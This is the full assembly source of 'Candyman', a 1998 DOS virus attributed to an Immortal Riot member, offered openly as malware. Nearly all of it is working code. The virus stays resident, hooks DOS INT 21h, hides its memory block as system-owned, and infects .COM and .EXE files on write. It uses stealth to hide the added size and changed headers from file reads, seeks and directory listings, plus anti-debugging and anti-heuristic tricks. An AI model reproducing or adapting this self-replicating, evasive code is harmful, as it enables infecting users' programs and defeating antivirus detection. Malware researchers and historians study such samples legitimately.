;============================================================================ ; ; ; NAME: Candyman v1.01 ; TYPE: Full-mirror .COM & .EXE-infector. ; SIZE: 999 bytes. ; DATE: October - November 1998. ; AUTHOR: T-2000 / [Immortal Riot]. ; E-MAIL: T2000_@hotmail.com ; PAYLOAD: Nope, it's completely harmless. ; CPU: 286+ ; ; ; After coding tons of conventional virii I felt like making something more ; original, quickly was decided for a mirror-type virus since there are only ; two more of these ever written (Mirror & Total Trash). The main difference ; between these two and my Candyman is the fact that Candyman works 100% ; independant, ie. it doesn't need any SFT's (Mirror), nor it doesn't have to ; maintain it's own filetables (Total Trash), this doesn't have to mean that ; Candyman is more viable in the wild, but in general it's more compatible ; with all the different DOS'es around. ; ; ; CAPABILITIES: ; ; - Full-mirror (network compatible). ; - Uses UMBs if available. ; ; ; NOD-Ice seems to be the only program which jams with Candyman resident, who ; cares, the bloody AV causes goddamn parity-errors all the time at my comp! ; ; ; ... And don't fuck around with the mirror, coz he *WILL* come... ; ;============================================================================ .MODEL TINY .STACK 512 .286 .CODE Virus_Size EQU (Virus_End - Start) Virus_Size_Mem EQU ((Virus_End_Mem - Start) + 512 + 15) / 16 Residency_Check EQU 0CA01h Marker_Mem EQU 1998h Marker_File EQU 9691h Min_Size_Infect EQU 560 Lady_Di EQU 0DEADh ; She took her name a bit TOO seriously, heh. START: CALL Get_Delta ; Get our position in memory. Anti_Debugger DB 0EAh Get_Delta: POP SI SUB SI, (Anti_Debugger - Start) PUSHA PUSH ES ; Save our PSP-segment. MOV AX, Residency_Check ; Request residency-status. INT 21h CMP AX, Marker_Mem ; It's there? then abort JE Exec_Host ; further TSR-installation. MOV AX, 5802h ; Get UMB link-status. INT 21h CBW ; Save status at the stack. PUSH AX MOV AX, 5803h ; Add UMBs to memory-chain. PUSH AX MOV BX, 01h INT 21h MOV AX, 5800h ; Get allocation-strategy. INT 21h PUSH AX ; Save strategy on stack. MOV AX, 5801h ; Set allocation strategy, PUSH AX ; first fit, start with UMBs. MOV BL, 80h INT 21h Try_Alloc_Mem: MOV AH, 48h ; Try to allocate the needed MOV BX, Virus_Size_Mem ; memory. INT 21h JNC Copy_Virus_Up MOV AH, 4Ah ; Get size of current block. MOV BX, 0FFFFh INT 21h MOV AH, 4Ah ; Resize block. SUB BX, Virus_Size_Mem + 1 INT 21h JMP Try_Alloc_Mem ; Let's try again... Copy_Virus_Up: MOV ES, AX ; Our allocated block. DEC AX ; Get MCB of allocated block. MOV DS, AX XOR DI, DI ; Disguise our block. MOV [DI.MCB_PSP], 08h ; Owner is DOS. MOV [DI.MCB_Program], 'CS' ; System-code. POP AX ; Restore allocation- POP BX ; strategy (AX=5801h). INT 21h POP AX ; Restore UMB link-state, POP BX ; (AX=5803h). INT 21h PUSH SI MOV CX, Virus_Size ; Copy virus to allocated CLD ; memory. SEGCS REP MOVSB POP SI PUSH ES POP DS MOV AX, 3521h ; Get address INT 21h. INT 21h MOV Int21h, BX ; Save address INT 21h. MOV Int21h+2, ES MOV AH, 25h ; Hook INT 21h. MOV DX, OFFSET NewInt21h INT 21h Exec_Host: POP ES ; PSP of our host. POPA PUSH CS POP DS ADD SI, OFFSET Host_Bytes CMP [SI.EXE_Mark], 'ZM' ; Determine host-type. JE Exec_EXE MOV DI, 100h ; Restore original bytes. PUSH DI MOV CX, (24 / 2) CLD REP MOVSW XOR SI, SI XOR DI, DI RETN ; Pass control to .COM-host. Exec_EXE: MOV DI, ES ; Get effective segment. ADD DI, 10h ADD [SI.Program_CS], DI ; Add effective segment. ADD DI, [SI.Program_SS] ; Get original SS. PUSH ES ; Restore DS. POP DS CLI ; Restore .EXE-stack. MOV SS, DI MOV SP, CS:[SI.Program_SP] STI XOR DI, DI ; Pass control to .EXE-host. JMP DWORD PTR CS:[SI.Program_IP] DB 'Speak my name 5 times in front of a mirror...' ; Returns CF set when handle in BX is not appropriate for infection. Check_Handle_Inf: MOV BP, SP ; Load BP with SP. INC BP ; Adjust value, (coz we INC BP ; CALLed this routine). PUSH DS PUSH CS POP DS MOV AX, 4201h ; Get current file-position XOR CX, CX ; of handle in BX. CWD CALL OldInt21h MOV File_Pos_Lo, AX ; Save original fileposition. MOV File_Pos_Hi, DX MOV AX, 4400h ; Get handle-info. CALL OldInt21h OR DL, DL ; Abort when it's not a file. JS JNE_Bad_Handle CALL Go_EOF ; Get filesize. OR DX, DX ; It's bigger than 64k ? JNZ Read_Header ; Yeah? that's OK. CMP AX, Min_Size_Infect ; It's big enough? JB JNE_Bad_Handle Read_Header: CALL Go_BOF PUSH CS POP ES MOV SI, OFFSET Header MOV AH, 3Fh ; Read header. MOV CL, 24 MOV DX, SI CALL OldInt21h PUSH SI MOV DI, OFFSET Host_Bytes ; Save original header. CLD REP MOVSB POP SI CMP [SI.Checksum], Marker_File ; Already infected? JE Bad_Handle CMP [SI.EXE_Mark], 'ZM' ; It's an .EXE-file? JE Mirror_EXE CMP [SI.Jump], 0E9h ; Most .COM-files start JNE_Bad_Handle: JNE Bad_Handle ; with a 16-bit JMP. Mirror_COM: OR DX, DX ; Can't be greater than 64k. JNZ Bad_Handle ; .COM isn't too big? CMP AX, (65535 - (Virus_Size + 1024)) JA Bad_Handle SUB AX, 3 ; Calculate displacement. MOV [SI.Displacement], AX ; Store displacement, the ; JMP is already present. JMP Good_Handle Mirror_EXE: MOV AX, [SI.Header_Size_Mem] ; Calculate headersize. MOV CL, 16 MUL CX PUSH CX XCHG DI, AX PUSH DX CALL Go_EOF POP CX ; CX:DI = headersize. SUB AX, DI ; Calculate size of image. SBB DX, CX POP CX ; Calculate virus' new CS:IP. DIV CX ; (CX = 16). MOV [SI.Program_IP], DX ; Set new CS:IP of host. MOV [SI.Program_CS], AX INC AX ; Anti-heuristic. ; Set new SS:SP. MOV [SI.Program_SS], AX MOV [SI.Program_SP], (Virus_Size_Mem * 16) - 16 ADD [SI.Min_Size_Mem], Virus_Size_Mem CALL Go_EOF ADD AX, Virus_Size ; Calculate infected size. ADC DX, CX MOV CH, 512 SHR 8 ; Calculate 512-byte pages. DIV CX OR DX, DX ; Precise division? JZ No_Round INC AX ; Upround 512-byte pages. No_Round: MOV [SI.Image_512_Pages], AX MOV [SI.Image_Mod_512], DX Good_Handle: MOV [SI.Checksum], Marker_File ; Mark file as infected. CALL Restore_File_Pos POP ES ; Caller's readbuffer. XOR CX, CX MOV DI, [BP.Reg_AX] SUB AX, DI ; Position before read. SBB DX, CX CLC RETN Bad_Handle: CALL Restore_File_Pos POP ES STC RETN ; Hmmm... a destructive payload would fit this topic better don't you think? DB 'Candyman, Candyman, Candyman, Candyman, ...' Restore_File_Pos: MOV AX, 4200h MOV CX, 00h File_Pos_Hi = WORD PTR $-2 MOV DX, 00h File_Pos_Lo = WORD PTR $-2 JMP OldInt21h Go_BOF: MOV AX, 4200h JMP Set_Pos Go_EOF: MOV AX, 4202h Set_Pos: XOR CX, CX CWD OldInt21h: PUSHF CALL DWORD PTR CS:Int21h RETN ; I'm used to save the _whole_ header of the host, simply becoz most of my ; virii are all full-stealth... this should save the pigs some work also. Host_Bytes DW 'ZM' DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW (Virus_Size_Mem * 16) DW 0 DW OFFSET Carrier DW 0 Author DB 'Written by T-2000 / Immortal Riot' NewInt21h: ; ============= FIND FIRST/NEXT FCB ========================================= CMP AH, 11h ; Findfirst (FCB) ? JB Check_4_Find_H CMP AH, 12h ; Findnext (FCB) ? JA Check_4_Find_H Mirror_FCB: CALL OldInt21h PUSHF ; Save all registers. PUSHA PUSH DS PUSH ES OR AL, AL ; Successful operation? JNZ JNE_Exit_Mir_S MOV AH, 2Fh ; Get DTA-address. CALL OldInt21h CMP ES:[BX.FCB_Drive], -1 ; It's an extended FCB ? JNE No_Ext_FCB ADD BX, 7 ; Then skip extended block. No_Ext_FCB: LEA SI, [BX.FCB_Size] ; Set index-registers. LEA DI, [BX.FCB_Name+8] LEA BX, [BX.FCB_Time] JMP Edit_DTA ; ============= FIND FIRST/NEXT HANDLE ====================================== Check_4_Find_H: CMP AH, 4Eh ; Findfirst (handle) ? JB Check_4_Read CMP AH, 4Fh ; Findnext (handle) ? JA Check_4_Read Mirror_Handle: CALL OldInt21h PUSHF PUSHA PUSH DS PUSH ES JC Exit_Mir_Size MOV AX, 2F00h + '.' ; Get DTA-address. CALL OldInt21h LEA DI, [BX.Handle_Name] ; Find extension-offset. MOV CH, 0FFh CLD REPNE SCASB LEA SI, [BX.Handle_Size] ; Set index-registers. LEA BX, [BX.Handle_Time] Edit_DTA: PUSH ES POP DS CWD ; DX = 00h. MOV AL, DS:[BX] ; Get filetime. AND AL, 00011111b ; Mask seconds. CMP AL, (60 / 2) ; 60 seconds? JE Exit_Mir_Size ; If so, abort mirror. CMP DS:[SI+2], DX ; File is over 64k ? JNZ Check_COM_Ext CMP DS:[SI], Min_Size_Infect ; Large enough? JB Exit_Mir_Size Check_COM_Ext: CMP DS:[DI], 'OC' ; .COM-extension? JNE Check_EXE_Ext CMP BYTE PTR DS:[DI+2], 'M' JNE_Exit_Mir_S: JNE Exit_Mir_Size CMP [SI+2], DX ; .COM is bigger than 64k ? JNZ Exit_Mir_Size ; .COM is not too big? CMP [SI], (65535 - (Virus_Size + 1024)) JB Add_Size_Virus Check_EXE_Ext: CMP DS:[DI], 'XE' ; .EXE-entension? JNE Exit_Mir_Size CMP BYTE PTR DS:[DI+2], 'E' JNE Exit_Mir_Size Add_Size_Virus: ADD DS:[SI], Virus_Size ; Add virussize. ADC DS:[SI+2], DX ; Set infected timestamp. AND BYTE PTR DS:[BX], 11100000b OR BYTE PTR DS:[BX], (60 / 2) Exit_Mir_Size: JMP Exit_Mirror_S ; ============= FILE READ =================================================== Check_4_Read: CMP AH, 3Fh ; Read handle. JNE Check_4_Seek Mirror_Read: CALL OldInt21h ; Execute read. PUSHF ; Save all registers. PUSHA PUSH DS PUSH ES JC Exit_Mirror_R ; Abort if error occurred. CALL Check_Handle_Inf JC Exit_Mirror_R PUSH AX PUSH DX JNZ Read_Over_64k ; Read started in 1st 64k ? CMP AX, 24 ; They are reading from the JNB Read_Over_64k ; header? ; === Mirror the read header. === ADD DI, AX ; Calculate end of read. JC Adjust_DI ; Overflow? CMP DI, 24 ; They read to the end of JB No_Adjust_DI ; the header? Adjust_DI: MOV DI, 24 ; If so, adjust register. No_Adjust_DI: MOV CX, DI ; Howmany bytes to mirror? SUB CX, AX MOV DI, [BP.Reg_DX] ADD SI, AX CLD ; Copy infected header into REP MOVSB ; caller's buffer. Read_Over_64k: POP DI ; DI:SI position before read. POP SI ADD SI, [BP.Reg_CX] ; DI:SI = position after ADC DI, CX ; read. CALL Go_EOF ; === Check if the read ends above the clean host. === CMP DI, DX ; Check high word. JB Restore_Read JA Mirror_Above CMP SI, AX ; Check low word. JNA Restore_Read Mirror_Above: ADD AX, Virus_Size ; Calculate size of ADC DX, CX ; mirrored host. ; Check if the read ends before the end ; of the virtual virusbody has reached. CMP DI, CX ; Check high word. JB No_Adjust JA Do_Adjust CMP SI, AX ; Check low word. JNA No_Adjust Do_Adjust: MOV SI, AX ; Read was over virusbody. MOV DI, DX No_Adjust: SUB AX, Virus_Size PUSH AX CALL Restore_File_Pos ; Restore position after ; the caller's read. POP CX MOV File_Pos_Lo, SI ; Save new file-position. MOV File_Pos_Hi, DI SUB SI, AX SUB AX, CX MOV CX, SI XCHG SI, AX MOV DI, [BP.Reg_DX] ADD DI, [BP.Reg_AX] ADD [BP.Reg_AX], CX CLD ; Copy virusbody into REP MOVSB ; caller's readbuffer. Restore_Read: CALL Restore_File_Pos Exit_Mirror_R: JMP Exit_Mirror_S ; ============= FILE SEEK =================================================== Check_4_Seek: CMP AX, 4202h ; Seek EOF ? JNE Check_4_Write Mirror_Seek: CALL OldInt21h PUSHF PUSHA PUSH DS PUSH ES JC Exit_Mirror_S CALL Check_Handle_Inf ; Handle appropriate for JC Exit_Mirror_S ; infection? MOV AX, 4201h ; Add the virussize to EOF. MOV DX, Virus_Size CALL OldInt21h MOV [BP.Reg_AX], AX ; Set new values in stack. MOV [BP.Reg_DX], DX Exit_Mirror_S: POP ES POP DS JMP Exit_RETF2 ; ============= FILE WRITE ================================================== Check_4_Write: CMP AH, 40h ; Write file? JNE Check_4_TDate PUSHA PUSH DS PUSH ES CALL Check_Handle_Inf JC Abort_Routine CALL Go_BOF MOV AH, 40h ; Write the infected header. MOV CL, 24 MOV DX, SI CALL OldInt21h JC Restore_Pos CALL Go_EOF MOV AH, 40h ; Write the virusbody. MOV CX, Virus_Size CWD CALL OldInt21h Restore_Pos: CALL Restore_File_Pos Exit_Mir_Write: POP ES POP DS POPA CALL OldInt21h ; Do the write. JC Do_RETF2 PUSHF PUSHA MOV AX, 5700h ; Get filedate & time. CALL OldInt21h MOV AX, 5701h ; Set infected timestamp. AND CL, 11100000b OR CL, (60 / 2) CALL OldInt21h Exit_RETF2: POPA POPF Do_RETF2: RETF 2 ; ============= GET FILE DATE & TIME ======================================== Check_4_TDate: CMP AX, 5700h ; Get filedate & time? JNE Check_4_Res Mirror_F_Time: CALL OldInt21h PUSHF PUSHA PUSH DS PUSH ES JC Exit_Filetime CALL Check_Handle_Inf ; Handle OK for infection? JC Exit_Filetime ; Set infected timestamp in the stack. AND BYTE PTR [BP.Reg_CX], 11100000b OR BYTE PTR [BP.Reg_CX], (60 / 2) Exit_Filetime: JMP Exit_Mirror_S ; ============= VIRUS RESIDENCY CHECK ======================================= Check_4_Res: CMP AX, Residency_Check ; "Are-you-there-bro?" call? JNE JMP_Int21h MOV AX, Marker_Mem ; Yeah dude, here I am. IRET Abort_Routine: POP ES POP DS POPA JMP_Int21h: DB 0EAh ; JMP FAR opcode. Virus_End: Int21h DW 0, 0 Header DB 24 DUP(0) Virus_End_Mem: COM_Header STRUC Jump DB 0 Displacement DW 0 COM_Header ENDS EXE_Header STRUC EXE_Mark DW 0 ; Marker valid .EXE-file: MZ or ZM. Image_Mod_512 DW 0 Image_512_Pages DW 0 Reloc_Items DW 0 Header_Size_Mem DW 0 Min_Size_Mem DW 0 Max_Size_Mem DW 0 Program_SS DW 0 Program_SP DW 0 Checksum DW 0 Program_IP DW 0 Program_CS DW 0 Offs_RelocTable DW 0 Overlay_Number DW 0 Undocumented DW 0 Unused DW 0 EXE_Header ENDS FindFirstHandle STRUC Handle_Reserved DB 21 DUP(0) Handle_Attr DB 0 Handle_Time DW 0 Handle_Date DW 0 Handle_Size DW 0, 0 Handle_Name DW 6 DUP(0) DB 0 FindFirstHandle ENDS FindFirst_FCB STRUC FCB_Drive DB 0 FCB_Name DB 8 DUP(0) FCB_Ext DB 3 DUP(0) FCB_Attr DB 0 FCB_Reserved DB 10 DUP(0) FCB_Time DW 0 FCB_Date DW 0 FCB_Start_Clust DW 0 FCB_Size DW 0, 0 FindFirst_FCB ENDS Push_All_Stack STRUC Reg_ES DW 0 Reg_DS DW 0 Reg_DI DW 0 Reg_SI DW 0 Reg_BP DW 0 Reg_SP DW 0 Reg_BX DW 0 Reg_DX DW 0 Reg_CX DW 0 Reg_AX DW 0 Reg_Flags DW 0 Reg_Ret_Addr DW 0 Push_All_Stack ENDS MCB_Header STRUC MCB_Type DB 0 ; M = not last block, Z = last block. MCB_PSP DW 0 ; PSP-segment of this block. MCB_Size_Mem DW 0 ; Size of block in paragraphs. MCB_Dunno DB 3 DUP(0) ; Don't care, don't need it. MCB_Program DW 4 DUP(0) ; Filename of program of this block. MCB_Header ENDS Carrier: PUSH CS POP DS MOV AH, 09h MOV DX, OFFSET Carrier_Msg INT 21h MOV AX, 4C00h INT 21h Carrier_Msg DB 'File infected with Candyman virus!', 0Ah, 0Dh, '$' END START